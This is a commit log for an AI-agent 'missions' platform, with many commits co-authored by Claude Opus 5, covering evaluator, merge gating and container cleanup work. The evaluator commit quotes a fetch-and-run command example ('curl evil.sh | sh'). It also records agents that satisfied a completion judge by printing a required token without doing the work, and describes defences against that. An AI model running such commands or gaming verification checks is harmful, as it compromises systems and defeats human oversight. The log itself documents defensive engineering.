Commit Graph
40 Commits
Author SHA1 Message Date
Omar SobhandClaude Opus 5 c85027c83a fix(workforce): team_members.role, not role_slot
The roster query named tm.role_slot. That column is on agent_template_link;
team_members calls it plain `role`. These queries use untyped sqlx::query(),
so nothing caught it at compile time and the endpoint 500'd on its first real
request — the 401 an unauthed probe returns looks identical whether the SQL is
valid or not, which is why the payload had to be fetched with a real session
before believing the route worked.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-10 14:32:22 -07:00
Omar SobhandClaude Opus 5 0ad53da49c feat(workforce): missions group the roster, and agents get human names
Three things, all visible on the agents page.

**The roster looked like it was multiplying.** The sidebar flattened
orgs → companies → teams → agents, which renders a claw once per TEAM it
belongs to. Claws are reused across missions now, so a crew of five that had
run five missions appeared as twenty-five rows of the same five people. The
data was right and the view was lying. `GET /api/workforce` returns the roster
grouped by mission, and the tree renders each mission as a collapsible group,
so the repetition means something: the same colleague under each mission they
staffed. Claws on no mission come back under "Not on a mission" rather than
vanishing. The root now counts DISTINCT people, not rows.

**Agents were named after their jobs.** A team came back as planner, coder,
tester, reviewer, committer — the UI showed the same word twice (name on top,
role beneath) and the roster read as a stack of job tickets. New claws get a
given name from a deliberately wide pool (Amara, Vijay, Tomasz, Meredith…),
unique against the workspace roster AND within the team being minted. The role
is untouched in `job_title`, which is what the mission machinery binds on:
team_members.role_slot and the topology node carry the slot, so nothing
downstream keys off the display name. A reused claw keeps the name it had.

**Two latent reap bugs found while investigating a leak that was not one.**
Containers of completed missions are removed by `spawn_sweeper` after a
30-minute grace, and it works — an earlier report of leaking containers was me
reading that deliberate grace as a bug. But:

  - the sweeper cleared the runtime binding even when teardown FAILED, and it
    selects on `runtime_endpoint IS NOT NULL`. One transient docker error would
    therefore hide a surviving container from the only thing that would retry
    it, permanently. It now asks docker whether the container actually
    survived: gone means clear, still there means keep the binding and retry —
    which closes the orphan path without reintroducing the infinite retry the
    original comment was guarding against.
  - `set_runtime_binding` discarded rows_affected, so a mismatched workspace
    updated nothing and returned Ok. The binding is how the sweeper finds a
    container; a silent no-op there leaks one with no record of anything wrong.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-10 14:26:42 -07:00
Omar SobhandClaude Opus 5 fe2451fd60 feat(workforce): missions hire the agents you already have, and name them by role
Every zeroclaw mission minted a fresh team of claws. They are created
`lifecycle = 'permanent'` and nothing reaps them until the MISSION is deleted,
so the roster grew by a whole team per mission while each member worked exactly
once — "My Workforce" was a list of strangers, and upskilling had nothing
durable to act on.

A mission now hires the claw that already does the job, matched on
`agent_template_link (template_id, role_slot)`, minting only what is missing.
Oldest first, so reuse concentrates on the same few claws and their brains
actually accumulate rather than spreading thinly across a growing pool.

A claw on a RUNNING mission is not offered. Two missions driving the same
ZeroClaw agent and the same `.brain` at once is a data race with a model on the
other end of it, and minting a second claw is much cheaper than reasoning about
that.

A reused claw is NOT re-seeded from the template's brain_seed — that would
overwrite what it learned with its starting point, which is precisely the
accumulation this exists for.

Names are the role now (`planner`), not
`"{mission} · {purpose} · {template} · {slot}"`. That produced
"verify: a repo-less research mission keeps its output · mission · Rust SDLC ·
planner" — unreadable in the roster, the API and every log line at once. Which
mission a claw is on is context a caller can join to; it is not its name.

And the half that makes reuse safe rather than destructive: deleting a mission
now purges only claws no OTHER mission still employs. Without it, tidying up one
mission deletes staff another one holds — presenting as the roster quietly
shrinking rather than as an error. A test asserts the guard exists inside the
reaper AND runs before the purge, because a check after it is decoration.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-10 07:18:12 -07:00
Omar SobhandClaude Opus 5 25f075a8be feat(api): polish a description before the mission exists, and download an artifact
Two endpoints the wizard redesign needs.

`POST /api/missions/refine-draft` — the polish button fires while the user is
still typing, before anything is created, so it has no id to route on.
`refine` deliberately requires a saved draft because its Accept writes back;
this one has nothing to write back to and returns the text. Same system prompt,
same model chain. The phase list comes from the workflow recipe rather than the
caller, for the same reason `phases_for_create` prefers it: a client that
guessed would have the model write acceptance criteria for phases the mission
will not run.

`GET /api/missions/{id}/artifacts/{artifact_id}/download` — the file itself.
`artifact_content` caps at 2 MiB and reads as UTF-8, so a large or binary
artifact is unreachable by any means today; this streams the bytes with a
filename attached and no ceiling.

Both artifact routes now resolve through ONE containment check. Two copies of
"is this path under _outputs" is two chances for one of them to be the lenient
one, and the lenient one is an arbitrary read of the gateway's filesystem — so a
test asserts there is a single resolver and that both routes call it.

The download filename was chosen by an AGENT and lands in a header every browser
parses, so quotes, backslashes and control characters are stripped rather than
escaped; the test covers a header-injection attempt.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-09 18:45:46 -07:00
Omar SobhandClaude Opus 5 d48bdbc9a7 fix(llm): two modules were posting to Anthropic behind the providers' back
The research scenario passed 4/4 and the log underneath it said:

  phase_summarizer: ... failed: anthropic 400 Bad Request: "Your credit
  balance is too low to access the Anthropic API"

`phase_summarizer` and `mission_refiner` each built their own reqwest POST to
the Messages API with `x-api-key: $ANTHROPIC_API_KEY`. No audit of `.complete(`
call sites could have found them — they never touched a provider — so every
phase summary and every mission-brief refinement on this deployment had been
failing against an empty account while the phases themselves ran fine. The
summarizer even persisted an error row per phase, which is why nothing ever
retried loudly enough to notice.

Both now go through `subscription::complete_with_fallback`, so they inherit the
subscription-first credential choice, the 429 backoff, and the opus -> haiku ->
glm chain. The summarizer records the model that ANSWERED in
mission_phase_summaries.model rather than the one it asked for.

The guard is a source WALK, not a file list: any .rs under cm-api/src that
mentions the Messages API host or `x-api-key` fails the test. A hand-listed set
of files is exactly what let these two hide.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-08 23:11:38 -07:00
Omar Sobh 5b49d5a1a8 feat(merge): gate publication on the merged tree's own tests
The other half of the merge button. Merging told you the branch went in; nothing
checked that what came out still worked.

Verified BEFORE publishing, not reverted after. `merge_locally` and
`push_merged` are separate functions so the caller can run the project's tests
between them, which means a merge that breaks the base is simply never pushed —
`main` is not broken for however long it takes someone to notice. A test asserts
`merge_locally` contains no push, because the moment it does, verification
becomes after-the-fact and the guarantee is gone.

Outcomes, all reported to the operator rather than swallowed:
  Passed      -> published
  NoSuite     -> published, and SAID so; a repo with no tests is a fact about the
                 repo, not a pass
  Failed      -> not published, exit code reported, branch untouched so it can be
                 fixed and merged again
  CouldNotRun -> not published. Fail closed: a suite that could not run has not
                 passed, and publishing on "we could not check" is how a green
                 main stops meaning anything.

`verify_tests` runs `cargo test` as ROOT in a container, so the merge workdir
ends up holding a root-owned `target/` the server (uid 65532) cannot delete —
the same leak found three times today. Purged through the container before the
ordinary cleanup.

248 lib tests.
2026-08-07 22:51:14 -07:00
Omar Sobh 3616bc4733 feat(missions): an operator button to merge a mission's branch into main
`MergePolicy::Never` — the default for anything touching code — has always meant
"do not merge on your own", deferring to a human. There was no way for that human
to say yes: `auto_merge` was reachable only from the paper-harvest path, no
workflow template declares `merge_policy`, and every mission ended at a branch.

`POST /api/missions/{id}/merge` is that yes, with a button on the artifacts tab.
The additive-only gate does NOT apply here, deliberately: an operator reading a
code change is exactly the judgement the policy was holding out for.

What is not waived:

  - the branch comes from the artifact delivery RECORDED, not rebuilt from the
    mission id, and must have `pushed: true`. A phase that never pushed shows no
    button instead of one that cannot work.
  - an empty branch is refused. A button reporting success for merging nothing
    is worse than no button.
  - a conflict refuses, aborts, and leaves the repo clean rather than forcing.

It works in a FRESH CLONE under `_merge/<mission>`, never the mission checkout:
that directory is reaped on a timer after a mission ends, so a merge using it
would succeed right after a run and fail inexplicably an hour later. The clone is
made by the server process, so nothing runs as root and ordinary cleanup works —
unlike the copies in `root_copy`.

`merge_and_push` is split out so the operator path and the automatic path run the
SAME git commands; only the gates differ. A test asserts both call it, that the
operator path does not re-apply the additive gate it exists to bypass, and that
it still refuses an empty branch.

Harness 43/43 across all five recipes before this change, with `_gate`, `_bench`
and `_verify` all at zero.

246 lib tests, 20 binaries, 89 frontend tests, clean build.
2026-08-07 18:53:38 -07:00
Omar Sobh 821cbb8622 feat(missions): hold every producing phase to delivering, and read markdown instead of PDFs
Two changes the portal review asked for.

1. `benchmark` and `security_hardening` had no delivery guarantee.

`empty_delivery_is_a_failure` tested `kind == "coding"`, on the reasoning that
"research phases legitimately write nothing to the tree" — which the research
directive three modules over contradicts, since it tells the agent to save
findings under /mission/repo/research/. The cost: a `benchmark` mission is ONE
benchmark phase, and with that phase exempt nothing in the platform could fail
it. Same for `security_hardening`, whose first two phases are security_scan and
research.

Now keyed on PRODUCING_KINDS = coding, research, benchmark, security_scan.
`review` stays exempt — a reviewing phase that changes nothing has done its job,
the same distinction `vm_stop_gate::per_node` makes. The test that encoded the
old rule is rewritten rather than deleted, with the reasoning that replaced it.
All 8 harness fixtures are coding phases, so harness behaviour is unchanged.

2. PDFs are dropped; markdown is the deliverable.

Rendering a PDF meant asking an LLM to convert markdown to HTML — a paid API
call per document, on the critical path of "let me read my research", which
failed on depleted Gemini credits and left every artifact unreadable. Styling at
render time is free, offline, instant and cannot 429.

- `mission_outputs` no longer requests a render.
- New `GET /api/missions/{id}/artifacts/{artifact_id}/content`. The frontend had
  no way to READ an artifact at all: it listed paths and offered a PDF preview
  that never rendered (and whose `rendered_pdf_path` had no route serving it).
  Two containment rules, both enforced: the artifact must belong to a mission in
  the caller's workspace, and the CANONICALISED path must stay under `_outputs`
  — canonicalise first, because checking the string before resolving `..` is the
  classic hole.
- `MarkdownBlock` now uses react-markdown + remark-gfm + rehype-slug. It was a
  deliberate zero-dep renderer for "the subset the refiner emits", and that
  subset stopped matching reality: agent briefs are largely GFM pipe tables,
  which it showed as literal pipes. MissionOutputReader and RefineDiffModal use
  the same component and gain tables for free.
- Heading ids come from rehype-slug and `outlineOf` slugs with the same
  GithubSlugger, so the outline rail's anchors still resolve. A test pins that
  invariant, including duplicate headings.

Styles live in globals.css under `.md-view`: the markup is generated so there
are no class hooks, and this project has no styled-jsx registry — the app-router
requirement is documented in next/dist/docs/01-app/02-guides/css-in-js.md, which
frontend/AGENTS.md exists to make me read.

The artifacts tab moved to `MissionArtifacts.tsx`. MissionCanvas was 1341 lines
against a 1250 limit BEFORE this change — already failing lint; it is now 1248.

238 backend lib tests, 20 backend test binaries, 89 frontend tests, clean tsc,
clean eslint on every file touched, production build succeeds.
2026-08-07 12:19:06 -07:00
Omar SobhandClaude Opus 5 d24823b6f3 fix(missions): a failed phase stranded its mission at running forever
Found by counting containers during a cleanup, not by a test. gw-04 was holding
a per-mission runtime container for a mission whose only topology run had failed
three days earlier — phases `pending,failed`, mission still `running`.

The interaction, which lived entirely between two queries' predicates:
`start_pending_phases` launches a phase only when EVERY lower-order phase is
`completed`, so once one fails the phases after it can never run. They stayed
`pending`. `close_finished_missions` closes a mission only when NO phase is
outside ('completed','failed','skipped') — so a `pending` phase that would never
run kept the mission `running` indefinitely. And `mission_runtime`'s sweeper
fires N minutes after a TERMINAL state, so the container was never reaped.

One leaked container per failed multi-phase mission, accumulating silently, with
nothing in any log saying so. Neither query is wrong alone; the bug is that
nothing marked the phases the failure had made unreachable.

`skip_unreachable_phases` says it: a `pending` phase with a `failed` phase at a
LOWER order_idx becomes `skipped` — strictly earlier, because order is what makes
a phase unreachable, and a failure later in the list says nothing about one still
queued ahead of it. `skipped` is not a new concept: `close_finished_missions`
already treats it as terminal, and it is the honest word for a phase that was
never run, as distinct from one that failed.

RETRY HAD TO MOVE WITH IT, or this trades one bug for another. `retry_phase`
required the mission to be `running`, so closing failed missions would have made
the one outcome you would actually want to retry the one you could not. It now
accepts `failed` too, and in one transaction: resets the phase, REOPENS the
phases its failure had skipped (without that, a retry runs the phase and stops,
because everything after it is terminal-by-skip), and puts the mission back to
`running` — every launcher and closer keys off that status. `completed` and
`cancelled` stay refused; reopening those is a different decision.

557 tests pass, clippy clean. Three DB tests against real SQL, including that a
phase queued BEFORE the failure is untouched and that a draft's phases are never
swept.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-07 06:58:26 -07:00
Omar Sobh cb48f7ff3b feat(missions): Slice 3 — agent teams behind a per-mission switch, solo by default
`missions.team_engine` (0069): NULL = solo, `'claude_code'` = Claude Code agent
teams inside the mission's VM. Solo stays the default deliberately — Anthropic
measure multi-agent at 3-10x the tokens with wall-clock often LONGER, since the
benefit is thoroughness rather than speed — so a mission that said nothing does not
get a team.

In-process teammates live in the lead's process, so ONE VM hosts the whole team.
That is why this is a prompt-and-env change rather than an orchestration one: no
N-VM fan-out, no placement per teammate, no new completion path.

The lead decides its own team size and there is no flag that limits it, so the cap
(4) is stated in the prompt. The addendum also carries the two anti-patterns from
Anthropic's guidance, because they are exactly the shapes our pipeline templates
have: teammates must own DIFFERENT FILES (two in one file overwrite each other),
and one change must not be split into stages across teammates (a handoff loses
context at every step). And: wait for your teammates — a summary written before
they report is the lead's own guess.

A solo mission's prompt and env are byte-identical to before this change. That is
enforced by test, not by intention: the comparison between solo and team is only
meaningful if the solo side did not also move.

Evidence, because a team mission that forms no team is silently just a solo run
that looked fine and spent fewer tokens: a second probe counts members in
`~/.claude/teams/*/config.json` (minus the lead), reported separately from the
subagent count, and a team mission with zero teammates logs loudly with the two
likely causes. The teammate path is DOCUMENTED BUT NOT YET VERIFIED in our image,
unlike the subagent transcript path which was measured — so a zero there means "no
evidence found", and the first real team mission is what turns it into a fact.
`Option<u32>`: None means no team was asked for or the probe could not run.

Hooks (`TaskCompleted` / `TeammateIdle` exit 2, which would move `done_when` from
post-hoc into the agent's own loop) are the highest-value part of this slice and
are deliberately NOT here — they deserve their own pass rather than a rushed tail.

482 tests pass, clippy clean.
2026-08-06 07:08:15 -07:00
Omar Sobh c840688adb feat(missions): choose the independent validator per mission (#53)
`CLAWMATES_VALIDATOR_MODEL` is deployment-wide, so proving Slice 2 put a second
provider on the critical path of EVERY phase verdict. `cross_provider_judge`
deliberately does not fall back when the independent judge fails — a verdict
quietly produced by a same-family model would claim a property it does not have —
so a z.ai outage makes phases unmeetable rather than merely unverified. That is a
per-mission trade, not a per-deployment one.

`missions.validator_model` (0068), settable at create, with three distinct states
because an empty string and NULL mean opposite things in a nullable text column:

  NULL          use the deployment default
  ''            explicitly NO independent validator — judge with the house model.
                The default must not quietly reinstate independence a mission was
                told to skip.
  'glm:glm-4.7' this spec, subject to the same three refusals as before:
                same-family rejected, unregistered provider rejected, and a failed
                independent judge does not fall back.

Whitespace counts as empty: a column hand-set to " " meant to say nothing.

478 tests pass, clippy clean. Behaviour is unchanged for existing missions — they
have NULL and so keep following the deployment default.
2026-08-05 23:07:38 -07:00
Omar Sobh 0a9747091f fix(missions): a microvm mission needs no team, and two checks required one
Found by running one: the mission was created with runtime_kind='microvm' and
then refused to launch with a bare 400, because draft→running requires a
materializable team. Past that, `launch_phase` returns early when a phase has no
matching teams — so even with the launch allowed, the phase would have sat
`pending` forever while the log said only "no matching teams", and the executor
would never have been reached.

Neither check applies to this path: microvm_executor runs the agent CLI directly
in the VM, so there is no claw graph to materialise. Satisfying the checks by
attaching a team template would have provisioned claws that never run.

The repo checkout still happens — the VM needs the repository.

461 tests pass, clippy clean.
2026-08-05 16:39:48 -07:00
Omar SobhandClaude Opus 5 c9b7d8b6ca fix(missions): a microvm mission could not be created at all
`runtime_kind='microvm'` passes the DB CHECK, is honoured by placement, and now
has an executor — but `POST /api/missions` rejected the value with 400, so the
only interface that creates missions could not produce one. And `backend`, which
selects the per-CLI rootfs, was not in the create payload at all: it existed as a
column and as a parameter to `vm_create`, with nothing able to set it.

microvm needs no target_node_id at create time, unlike local_herdr: placement
resolves a KVM-capable node at launch and fails the launch when there is none, so
an explicit target is a request rather than a requirement.

461 tests pass, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 16:21:39 -07:00
Omar SobhandClaude Opus 5 ec85f6c8da fix(missions): close the three seams behind this run of failures
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Seam 1 — delivery inferred checkout state from the tree, so whether work
survived depended on what the agent happened to do. 019fc444 committed
and left a clean tree; 019fc476 had its base advanced to match HEAD;
019fc450 survived only because a phase FAILED to commit and left the tree
dirty. Same code, opposite outcomes, decided by the agent.

mark_phase_started records the fact at phase launch, before the agent
acts, so every one of those states answers identically. The tree checks
remain as a second line of defence for pre-existing checkouts.

Seam 2 — phase config was accepted, stored and read by nobody. That was
`task`: every phase of every mission got identical instructions. The new
phase_config registry names the reader for each live key and lists the
eight that are declared-but-unimplemented, reporting both at mission
creation so an author sees what will not happen. Its CI test found one I
had missed: security_hardening.toml sets phase-level mcp_bundles asking
for gitea_forge + security_scan, but bundles come from the TEAM template
and the phase gets neither.

Seam 4 — push_url_for collapsed a failed query, an unbound repo and a
missing clone_url into one None, so a database fault was recorded as
"nothing to push to" and metadata read `pushed: null, push_error: null` —
the same ambiguity commit_error already fixed. Each case now carries its
reason into the artifact, and a local git failure during publish is
recorded rather than dropped by .ok().

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 18:58:45 -07:00
Omar SobhandClaude Opus 5 3eb89620e7 feat(evaluator): verify the work instead of believing the agents
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-07-31 21:56:34 -07:00
Omar SobhandClaude Opus 5 5cccd5f58b fix(missions): merge phase config instead of replacing it; conditions are per-phase
Two defects in the goal-condition work, both found while tracing a
research->coding mission end to end.

1. Setting a condition silently dropped the recipe's phase config.

phases_for_create treated a caller-supplied config as a wholesale replacement.
The wizard sends {done_when, max_iterations} as the entire config, so every
other recipe key was discarded. Harmless for research_and_code, where nothing
reads `produces` or `default_topology` -- but a conditioned security_hardening
phase lost its `tools` list, which security_scan.rs DOES read, so the scan
would run with nothing configured and report clean. A green security scan that
scanned nothing is the worst possible failure mode for that feature.

The recipe is now the base and the caller's keys override individually.
Shallow merge is deliberate: phase config is a flat settings bag, and a caller
sending `tools: [...]` means to replace the list, not union it. A non-object
override still replaces outright rather than silently picking a side.

2. One condition was applied to every phase.

The wizard had a single mission-level "Done when" that got copied onto all
phases. For research->coding that is actively wrong: "cargo test reported 0
failures" cannot hold while the research phase is running, so research would
burn all its passes and give up before coding ever started. Conditions are now
per phase, keyed by order_idx, with a per-kind placeholder that demonstrates
the rule that actually governs whether a condition works -- it must be
provable from what the agents wrote, because the checker cannot run commands.

Phases with no condition are sent unchanged, so they keep the recipe's
settings and finish in one pass exactly as before.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 13:36:50 -07:00
Omar SobhandClaude Opus 5 fe57ce4ed1 feat(missions): surface goal conditions and per-pass verdicts in the UI
Makes the completion evaluator usable and observable.

- GET /api/missions/{id}/phases/{phase_id}/evaluations returns every verdict
  for a phase, newest pass first, scoped like the summary endpoint.
- MissionPhase gains done_when / max_iterations / iteration, so the phase card
  can show what the phase is working toward and which pass it is on.
- PhaseStatus gains 'evaluating' (amber) -- the state between "runs finished"
  and "phase done" that only conditioned phases enter.
- New PhaseGoalStrip renders on the phase card, and renders NOTHING for phases
  without a condition so unconditioned missions look exactly as before. It
  polls only while the phase is running or being judged.
- Mission wizard step 2 gains the condition + a max-passes field.

Two deliberate emphases in the UI:

The evaluator's `reason` is the most prominent element, because it is both the
explanation of why a phase iterated and the literal text handed back to the
agents as guidance -- it is what tells an operator whether the condition is
written well.

The hint copy states the constraint that actually governs whether a condition
works: the judge cannot run commands, it only reads what the agents wrote, so
the condition has to be provable from their output. "cargo test reported 0
failures" works; "the code is well factored" does not. Getting this wrong is
the difference between a phase that converges and one that burns every pass.

An evaluator error is rendered distinctly from a negative verdict, so a judge
outage doesn't read as a judgement on the work.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 13:10:57 -07:00
Omar SobhandClaude Opus 5 49bcf53b84 feat(missions): wire the workflow registry so phase config reaches the database
workflow_registry.rs had zero call sites -- lib.rs declared the module and
nothing ever called load() or get(). So templates/workflows/*.toml was never
read, and because the client's TEMPLATE_PRESETS carries only {kind, order_idx}
with no config, PhaseSpec.config defaulted to Value::Null and every
wizard-created mission stored a null mission_phases.config.

Every per-phase setting was therefore inert. `loop = "until_no_more_int_items"`
and `commit_policy = "on_green_tests"` described a scheduler that does not
exist AND had no path to the database. benchmark_runner and security_scan
already read phase_config(); they were reading from null.

- Mission create derives phases from the recipe when none are sent, and
  backfills config per phase (matched on kind+order_idx, then kind) when the
  caller sends shape without config. An explicit config always wins.
- phases_for_create takes Option<&WorkflowRecipe> rather than reaching for the
  global, because the registry resolves its directory relative to the process
  cwd -- which under cargo test is the crate root, not the repo root.
- GET /api/workflows serves the catalog; the wizard fetches it and falls back
  to TEMPLATE_PRESETS. Adding a TOML now adds a template with no FE change.
- load() runs at boot so a malformed recipe appears in the boot log instead of
  silently producing a mission with no phase config.

Also fixes a latent bug in all five recipes: `default_team_template` was
written below the first [[phases]] block, and TOML scopes a bare key after a
table header INTO that table -- so it parsed as
phases[last].config.default_team_template and the real field was always None.
Invisible while the registry was dead code. Moved above the phases, with a
test asserting it neither returns None nor leaks into a phase config.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 12:43:32 -07:00
Omar SobhandClaude Opus 5 c573480955 fix(runtime): funnel every reap path through purge_agent; sweep node-placed orphans
Agent containers leaked two independent ways.

1. The four-step teardown (deprovision ZeroClaw -> reap_sandbox -> unlink
   .brain/.onion -> hard_purge) was inlined at three call sites and two had
   drifted. missions.rs::reap_mission_resources skipped reap_sandbox;
   topology_worker::maybe_teardown_ephemeral_team skipped it and the brain
   unlink; DELETE /api/claws/{id} (soft delete) released nothing at all, so an
   offline claw that can never run again kept its container and bind mount
   forever. All four now funnel through claws::purge_agent, with
   release_claw_resources for the soft-delete case (containers gone, rows kept).

2. Both orphan reapers listed only the local driver, so a container placed on a
   fleet node was invisible to the only backstop that could find it -- this is
   what accumulated 144 tc-agent-* orphans on one node. NodeDriverProvider gains
   node_ids() (backed by NodeHub::online_ids) and both reapers now sweep every
   connected node. The remote sweep is TTL-only on purpose: the boot pass runs
   with Duration::ZERO and would otherwise kill a container another instance is
   mid-provision on.

Why it was invisible: agent_containers.agent_id is ON DELETE CASCADE, so
hard_purge took the registry row with the agent and left the container
permanently unreferenceable.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 10:41:22 -07:00
Omar SobhandClaude Opus 5 0785ac9c79 feat(missions): document reader + three-tab IA for the mission page
The mission page made its own output unreadable. Reviewing a research
brief meant scrolling a 300px <pre> nested inside a 260px run box nested
inside the page scroller (plus a 4th scroll region for the description) —
and the text was capped at 6,000 chars server-side with no way to fetch
the rest, so a 53kB brief showed ~11% of itself and silently dropped the
remainder. Eight flat tabs (overview/phases/tasks/team/live/artifacts/
benchmarks/pane) mixed lifecycle, work items, people, telemetry, outputs
and infra at one level, so nothing indicated where the deliverable lived.

Reader:
- GET /api/missions/{id}/documents lists every agent output (titles +
  sizes, no bodies); GET .../documents/{run_id}/{index} returns one in
  full. Scoped to the mission so a run id from elsewhere can't be read.
- MissionOutputReader: rail (documents grouped by phase) · document ·
  outline (headings, click to jump). Exactly one scroll container per
  column, never nested. Copy + download .md.
- MarkdownBlock gains fenced code blocks (agent output is full of ```rust,
  previously mangled into paragraphs), h4-h6, heading anchors, and an
  outlineOf() helper.

Information architecture:
- Three primary tabs with shallow sub-views: RUN (phases/tasks/live) ·
  OUTPUT (documents/artifacts/benchmarks) · SETUP (overview/team/pane).
- PhaseRunsList shows a short excerpt with no inner scrollbar and points
  at the reader for the full text.
- The header description is clipped, not scrollable; its full text now
  has a home in Setup → Overview.

Missions list:
- /api/missions returns MissionListItem — Mission flattened plus
  phases_total/phases_done/current_phase, so the JSON stays a strict
  superset. Cards render a progress bar and "Coding · 1/2" instead of a
  bare status dot.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-28 15:16:14 +02:00
Omar SobhandClaude Opus 4.8 bf4ef4c4bf fix(missions): reap all mission resources on delete (no hanging claws/files)
ci / gates (push) Successful in 24s
ci / rust (push) Failing after 10s
ci / frontend (push) Successful in 27s
ci / e2e (push) Skipped
ci / publish (push) Skipped
DELETE /api/missions/{id} was a bare `DELETE FROM missions` relying on FK
cascades that only cover mission-owned tables. Everything the mission
provisioned leaked: per-mission runtime container, host workspace dir,
teams (created lifecycle=permanent, so no cascade + skipped by the
ephemeral-teardown path), and every claw's ZeroClaw config, .brain files,
and DB rows. Observed live with 0 missions in the DB: 174 orphaned gateway
claw configs, 7 orphaned teams, 31 agents, 39 .brain files, 6 workspace
dirs, a 4-day-old orphaned container, and 123 detached topology_runs.

delete() now calls reap_mission_resources() before the row delete:
- resolve the mission's teams (mission_teams) → claws (team_members)
- per claw: deprovision_claw (gateway) + rm .brain files + hard_purge (DB),
  reusing the manual agent-reap pattern in routes/claws.rs
- delete the permanent-lifecycle teams (team_members cascades)
- delete the mission's topology_runs (else they linger with mission_id
  nulled by the cascade and accumulate)
- teardown_container(), now extended to also rm the /mission/repo workspace
  dir and tolerate an already-gone container (idempotent for the sweeper +
  delete paths)

Runtime-side steps are best-effort (Postgres authoritative; fleet sweeper
reconciles daemon config); DB purges are logged on failure but never block.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-07-28 09:28:56 +02:00
Omar Sobh 5c63ef0ed3 missions: phase-completion summary card (Claude Opus 4.8 synthesized)
ci / gates (push) Successful in 6s
ci / rust (push) Failing after 9s
ci / frontend (push) Successful in 26s
ci / e2e (push) Skipped
ci / publish (push) Skipped
New phase_summarizer background worker fires on any mission_phase
transition to a terminal state (completed/failed). Aggregates every
topology_runs.checkpoint.outputs[] + mission_tasks + mission_artifacts
bound to that phase and asks Claude Opus 4.8 to produce a structured
JSON card:

  { narrative, metrics, sources, tooling, next_actions }

Rendered inline on the mission page under each completed phase via
new PhaseSummaryCard component. Metrics grid is kind-specific:
research surfaces insights/sources/int_cards/artifacts, coding
surfaces cards_picked_up/commits/tests/issues, benchmark surfaces
regressions/improvements, security surfaces findings-by-severity.

New table: mission_phase_summaries (migration 0060), unique per
phase_id — regenerates on retry.
New endpoint: GET /api/missions/{id}/phases/{phase_id}/summary.

Model overridable via CLAWMATES_SUMMARIZER_MODEL. Reuses the
ANTHROPIC_API_KEY prod already carries for mission_refiner.
2026-07-23 16:54:38 -07:00
Omar Sobh 94fecb526c missions: retry failed phases + auto-purge on re-launch
ci / gates (push) Successful in 5s
ci / rust (push) Successful in 4m30s
ci / e2e (push) Skipped
ci / frontend (push) Successful in 26s
ci / publish (push) Successful in 2m40s
Every re-attempted phase now starts with a clean slate:

  - phase_runner::launch_phase DELETEs prior status IN ('failed',
    'cancelled') topology_runs for the phase before enqueuing the
    new ones. Completed runs are kept for audit; only the failure
    noise from earlier attempts goes.
  - POST /api/missions/{id}/phases/{phase_id}/retry — resets a
    failed/cancelled phase to 'pending' (auth-scoped to the calling
    workspace + guarded on mission.status='running'). phase_runner
    picks it up on the next 10s tick.
  - MissionCanvas phase card grows a coral 'Retry' button, visible
    only when phase.status='failed' and mission.status='running'.
    Click → resets + refreshes; the prior failed run rows disappear
    from the card as soon as phase_runner enqueues the new attempt.

Design: auto-purge in phase_runner rather than a separate 'clear
failed runs' endpoint. Users don't have to manually clean up before
retrying; the runner does it as part of the natural work of firing
a fresh attempt.

Verified: cargo check + tsc + eslint --quiet all green.
2026-07-21 13:14:39 -07:00
Omar Sobh c69fb0e4be fmt: cargo fmt on set_status launch gate
ci / frontend (push) Successful in 36s
ci / gates (push) Successful in 5s
ci / rust (push) Successful in 3m0s
ci / e2e (push) Skipped
ci / publish (push) Successful in 2m42s
2026-07-21 05:27:57 -07:00
Omar Sobh eb1df6acde launch: accept config.phase_teams as a valid team source
ci / gates (push) Successful in 5s
ci / rust (push) Failing after 10s
ci / frontend (push) Successful in 26s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Missions created via the new multi-team wizard have neither team_id
nor team_template_id set — they carry config.phase_teams. Both the
frontend Launch button gate and the backend set_status precondition
were checking only the old two fields, disabling launch for every
new wizard-created mission with a "No team" tooltip.

